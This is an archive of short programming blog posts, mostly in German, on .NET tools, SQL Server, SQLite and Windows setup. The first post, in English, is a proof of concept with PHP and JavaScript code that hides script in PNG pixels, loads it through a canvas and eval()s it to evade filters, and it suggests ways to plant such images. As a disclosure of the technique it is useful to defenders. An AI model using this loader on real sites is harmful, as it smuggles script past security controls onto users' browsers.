Archive for the ‘Programmieren’ Category

Today, i have to write in english to get this to more readers.

At first… i don’t know if this is new, but if it is, then it will be interesting to see, for what it will be used…

Canvas is not very well known. First introduced by Apple and today implemented in browsers like Safari, Opera and Firefox.

For most people, it is only known for generating pictures and 3D Animations. But you can missuse it for bypassing ids, firewalls and so on…

I’m not good at explaining thing, but i will try it ;)

For our example, we don’t obfuscate anything!

At first we have to know something about png files. Every pixel is build up from 4 Bytes.

Red, Green, Blue and the Alphachannel. To make it easier, we will only use Red, Green and Blue to store data in it.

The sideeffect of the not used Alphachannel is, that every forth byte, there is something useless in it and your code has some lowlevel obfuscating ;)

At first, we need a code to generate the image which contains the malicious code.

Let’s call it badpicture.php

<?php
// Figure it out by yourself ;)
$strExploit = 'alert("xss");//';

$lngX = 0;
$lngY = 0;

// Make it big enough for your code...
$im = imagecreate(256, 5);

// Now here starts the interesting part
for ($lngPos = 0; $lngPos < strlen($strExploit); $lngPos+=3)
{
  $strByte1 = substr ($strExploit, $lngPos, 1);
  $strByte2 = substr ($strExploit, $lngPos+1, 1);
  $strByte3 = substr ($strExploit, $lngPos+2, 1);

  $objColor = ImageColorAllocate ($im, ord($strByte1), ord($strByte2), ord($strByte3));

  imagesetpixel($im, $lngX, $lngY, $objColor);

  $lngX++;

  if ($lngX >= 128)
  {
    $lngX = 0;
    $lngY++;
  }
}

// And now we send it to the browser
header ("Content-type: image/png");
imagepng($im); // output the stream directly
imagedestroy($im);
?>

Ok, Step one is done. What we now need, is a loader. For better reading, i have formated it and put the code in to a html document.

<html>
<body>
Nothing here to read...

<script>
var c=document.createElement("canvas");
g=c.getContext("2d");
i=new Image();
i.src="http://domain.tld/badpicture.php";
i.onload=function() {
  g.drawImage(this,0,0);
  o=g.getImageData(0,0,256,5).data;
  eval("d=String.fromCharCode("+o+").replace(/ÿ/g,'')");
  eval(d);
}
</script>

</body>
</html>

That’s all !

To extend this idea more, think about Steganography, Obfuscating the loader, Multistage Loaders, pre generated pictures with the correct file extension, PNG Compression…

Think about the attack vectors… generate a new entry in a wiki with legal content, with a normal picture (normal vor human eyes) and refer to this picture using tinyurl…

A short note has to be placed… Opera is using a Same URI Policy, so you have to do more, than only to generate a picture and place it somewhere. There are ways around it.

And remember… Canvas is part of the HTML 5 specification.

Something to think about:

Canvas Example

So take a look at it, figure out how it works.

In two days, i will post an explanating of it and how this can be a problem for you.

Btw… It works only on firefox, opera and safari (as far as i know), and there are no alert and no xss Text inside ;)

Pex

Pex Logo Pex ist eine feine Ergänzung zu NUnit und FXCop.

Man kann sehr einfach seine Klassen auf fehlende Prüfungen, fehlende Abfragen und noch einige andere Dinge testen lassen.

Besonderst hervorzuheben ist das Feature, dass Pex bei den Übergabeparametern verschiedene Inhalte übergibt, um darüber dann zu ermitteln, welche Inhalte nicht passen oder nicht sauber abgefangen werden.

Außerdem kann man mit Pex auch leicht noch fehlende Unittests erzeugen lassen.

Microsoft (ja von denen ist Pex) hat auf Channel 9 ein Video über Pex, zu welchem ihr hier kommen könnt:

Channel 9 Video zu Pex

Ein paar weitere gute Quellen zu Pex kann man hier finden:

Getting started with automated white box testing (and Pex)
Pex – Automated White box Testing for .NET
Pex Extensions auf Codeplex
Forum zu Pex bei Microsoft

Pex kommt bei mir im Moment zum gezielten Prüfen von Klassen zum Einsatz. Den Part mit dem Erzeugen von Unittests verwende ich nicht. Ich schreibe meine Unittests gerne selbst und habe gerade da die lieber die volle Kontrolle über das was ich mache.

SQL Server 2008 Express Installations Fehlermeldung wegen fehlendem Windows Installer 4.5 unter Vista Ich wollte heute eigentlich nur mal den SQL Server 2008 Express installieren und dann wirft mir das Setup doch bei einem aktuellen Vista x64 Ultimate System die Fehlermeldung an den Kopf, dass man nicht den benötigten Windows Installer hätte.

Das Windows Update wollte mir das nicht geben. Laut dem liegt nichts für mein System als Update vor.

Hmmm…

Eine kurze Suche bei einer Suchmaschine erbrachte dann das folgende Blog:

Windows Installer Team Blog

Und dort war auch die Rede von einer neuen Version, welche man sich installieren kann.

Hier die Links:

Windows Installer 4.5 Englische Version

Windows Installer 4.5 Deutsche Version

Btw… die folgende Version ist für Vista x64:

Windows6.0-KB942288-v2-x64.msu

Und da nichts Fehlerfrei ist, was mehr als ein NOP als Befehl hat…

hier ein Update:

Update to MSI 4.5 (KB958655)

Das Update natürlich nur einspielen, wenn man Probleme ohne hat… ähm ja… klar… wie auch immer.

Microsoft geht einen weiteren Schritt in Richtung sicherer Software, wie man hier und insbesondere hier lesen kann.

Grundlage des Ganzen ist ein von Microsoft erstelltes Secure Development Lifecycle (SDL) Optimization Model, nicht zu verwechseln mit Simple DirectMedia Layer (SDL), welches meiner Meinung nach als Ergänzung zu den Best Practices zu sehen ist.

Natürlich wird es auch wieder die Möglichkeit geben, über ein Zertifizierungsprogramm eines dieser netten Dokumente zu erhalten, welche einige zum Zimmertapezieren verwenden. ;) Nicht das so ein Zertifikat vom Können des Besitzers zeugen würde… auswendig lernen kann jeder :P

Verfügbar wird das Ganze ab November sein. Ich bin echt mal gespannt, was Microsoft sich da so alles ausgedacht hat. Fakt ist, dass sie das Problem von Sicherheitsrisiken durch Fremdsoftware angehen wollen.

Lobenswert! Da können sich die OpenSource Frickler mal eine dicke Scheibe von Abschneiden. :D

Update

Eines der schon verfügbaren Tools kann man sich hier im Einsatz ansehen, oder hier herunter laden.

Threat Analysis and Modeling Launchpad

Threat Analysis and Modeling Mainwindows

Unittests sind oftmals das letzte, was vor dem Codechaos schützt.

Aber wehe man muß bei den Unittests eine Datenbank berücksichtigen.

Da kommt man schnell ins Fummeln. Hier mal ein Hilfsscript, dort ein Backup, hier ein Restore und weil es Spaß macht, muß man alles wieder von vorne machen, sobald sich nur eine kleine Sache in der Datenbank geändert hat.

Und hier kommt dann NDbUnit ins Spiel.

NDbUnit ist aber nicht wie NUnit eine Unittestlösung mit Oberfläche, sondern wird direkt in den Source integriert.

Bleibt abzuwarten, ob sich hier in Zukunft noch was ändert. So wirklich glücklich bin ich über diese Lösung nicht… :(

Wer nur einen kurzen Blick drauf werfen will, der findet hier ein kleines Videobeispiel von NDbUnit.

Für mich selbst ist es im Moment nicht sinnvoll einsetzbar, da ich mit dem Dynamic Data Cache auf eine eigene Datenbankfremde Lösung setze.

Heute habe ich ein paar Stunden damit verbracht, einen alten Source wieder zum laufen zu bringen.

Der Source stellt eine Implementierung des HttpListener als kleinen Webserver dar.

Bei den Unittests der einzelnen Module lief alles sauber durch. Aber dann beim Aufruf der Testseiten kamen seltsame Reaktionen vom Servermodul.

Das ging von sporadischem Aussteigen, sofortigem beenden und nur teilweisem senden der angeforderten Dateien.

Die Exceptions selbst waren erst einmal eindeutig:

    Objekt: System.Net.HttpListenerResponse
    
    Meldung:
    Der Objektverweis wurde nicht auf eine Objektinstanz festgelegt.
    Auf das verworfene Objekt kann nicht zugegriffen werden.
    

Ein Tip von TheUndeadable brachte mich auf die Suche nach einem verfrühten, sprich manuellem, Dispose des Objektes.

Nada… Es war nichts zu finden. Auch ein Hochdrehen des Loglevels brachte nichts.

Ok, abgesehen von einem blöden Fehler im Caching, welcher mit diesem Problem aber nichts zu tun hatte, aber auch gleich gefixt wurde.

Beim stöbern in der MSDN, bin ich dann über einen Querlink auf diese Seite gestossen:

Configuring HTTP and HTTPS

Und hier haute die Erinnerung mit einem mächtigen DU DEPP zu.

Klar… beim Einsatz des HttpListener muß man Windows das erstmal mitteilen, dass der Port und die IP-Adresse gebunden werden soll und das ein Listener drauf läuft.

Also flink ein

    netsh http add iplisten ipaddress=0.0.0.0:80

gemacht und siehe da… es funktioniert wieder wie es soll.

Aber wieso Vista dann trotzdem einen Teil der Anfragen weiter geleitet hat… hier bin ich echt ratlos. Theoretisch hätte gar nichts passieren dürfen, oder wenigstens eine Exception geworfen werden müßte nach dem Motto “Access denied” o.ä.

Naja… Windows live ;)

Wer Lust und Zeit hat, oder es Beruflich eh macht, der kann sich ja mal diese leider schon beendete Reverse Engineering Challenge ansehen:

F-Secure Reverse Engineering Challenge

Level 1 hatte ich in ca. drei Stunden beendet. Ich hatte mich dummerweise an der Dokumentation meiner Schritte festgekrallt, anstatt einfach die Lösung zu erarbeiten.

Level 2 hat mich bisher erst zwei Stunden gekostet und ich habe im Moment schon ein paar Ansatzpunkte.

Wer auch immer das vorbereitet hat… Respekt !

Es dürfte nicht mehr viele Programmierer geben, welche direkt in Assembler programmieren können.

Lange war es ruhig und es gab nur kleinere Updates, heute hat Microsoft mal wieder die große Keule rausgeholt und uns Programmierern wieder viel neues zum Lernen gegeben…

.NET Framework 3.5 SP1 und Visual Studio 2008 SP1 jetzt verfügbar!

Zusammenfassung:

  • .NET 3.5 Download wird kleiner
  • Optimierungen in der CLR, wodurch die Programme zwischen 20-45% schneller starten
  • Programmausführung dadurch um ca. 10% ingesamt schneller
  • WPF wurde erweitert, Probleme behoben
  • Einführung von ASP.NET Dynamic Data um Webseiten noch Dynamischer zu machen (noch mehr zum lernen…)
  • Damit Datenbankprogrammierer sich nicht langweilen, wurde mal eben noch ADO.NET Data Services und DO.NET Entity Framework eingeführt…
  • Was fehlt? Genau… WCF hat natürlich auch neue Features bekommen…

Manchmal frage ich mich, ob Microsoft überhaupt weiß wohin sie wollen. Laufend neue Features, die Autoren der Bücher kommen nicht mehr hinterher und von uns Programmierern rede ich mal gar nicht.

Man kommt nicht umhin, sich bei .NET zu spezialisieren. Die wenigsten dürften ein tiefes Wissen in den gesamten .NET Bereichen haben.

Also dann…

Möge das pauken beginnen ;)

Wieso habe ich versucht SQLite unter C# zu nutzen?

Grund war, daß der Firefox seine Bookmarks als SQLite File abgelegt (places.sqlite).

Da ich 6 Maschinen einsetze, meine Bookmarks weder Google noch FoxMark anvertrauen will, aber trotzdem gerne auf allen Maschinen die gleichen Bookmarks verwenden will ohne viel manuelles Doing, sind ein Kollege und ich auf den Gedanken gekommen hier ein kleines Hilfsprogramm zu schreiben.

Da ich gerne in C# Programmiere, habe ich mir natürlich gleich von Finisar den ADO.Net SQLite Provider besorgt.

Das SQLite Datenbankfile war schnell gefunden und kopiert, ein Beispielcode war auch schnell gefunden, aber die Sache wollte nicht.

“Finisar.SQLite.SQLiteException” wurde aufgefangen.
Message=”malformed database schema – near \”AUTOINCREMENT\”: syntax error”
Source=”SQLite.NET”
StackTrace:
bei Finisar.SQLite.sqlite3.Throw()
bei Finisar.SQLite.sqlite3.CheckOK()
bei Finisar.SQLite.sqlite3.exec(String sql)
bei Finisar.SQLite.SQLiteConnection.Open()
bei MozBookmarkSync.SQLiteDB.openDBFile() in …
InnerException:

Dieser Fehler soll angeblich nur dann auftreten, wenn man einen nicht unterstützten Create Befehl beim Erzeugen der Tabelle verwendet hat.

Mein erster Verdacht war, daß man hier beim Firefox was rumgepfuscht hat. Mea culpa… ich tat ihnen Unrecht!

Die Datei firefox-3.0rc3-source\mozilla\db\sqlite3\src\sqlite3.c basiert auf der Version 3.5.4.2 von SQLite.

Ein Test mit SQLite Expert erbrachte, daß ich das SQLite File places.sqlite vom Firefox ohne Probleme öffnen und auslesen kann.

Wo könnte der Fehler liegen?

Nach einigem Hin und Her und Suchens auf Google und verschiedenen HowTo Pages, habe ich mir dann von hier den Source des ADO.Net SQLite Providers besorgt.

Und hier kam dann der Hammer…

Der Provider wurde zuletzt in 2005 überarbeitet und unterstützt nur SQLite 3.1.1.

Thema erledigt. Manchmal soll es halt nicht gehen und bevor ich anfange jetzt selbst zu fummeln, lehne ich mich zurück, greife mir das nächste Thema und schaue mal, was der Kollege mit JAVA erreichen kann. Dafür gibt es Level4 (native JAVA) Code für SQLite…

Update

ha… es gibt doch noch eine neuere Implementation…

http://sourceforge.net/projects/sqlite-dotnet2

Mal schaun ob da das notwendige drin ist :)